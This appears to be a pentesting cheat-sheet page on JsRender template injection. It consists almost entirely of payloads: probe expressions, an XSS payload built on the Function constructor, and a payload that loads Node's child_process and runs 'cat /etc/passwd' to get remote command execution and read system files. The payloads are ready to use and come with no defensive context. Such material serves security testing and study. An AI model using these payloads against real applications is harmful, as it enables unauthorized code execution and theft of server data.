JsRender Template Injection
Investigation
{{:2*3}}
{{:"test".toString}}Exploitation
# XSS
{{:"test".toString.constructor.call({},"alert(1)")}}
# Read local files
{{:"test".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}References
Last updated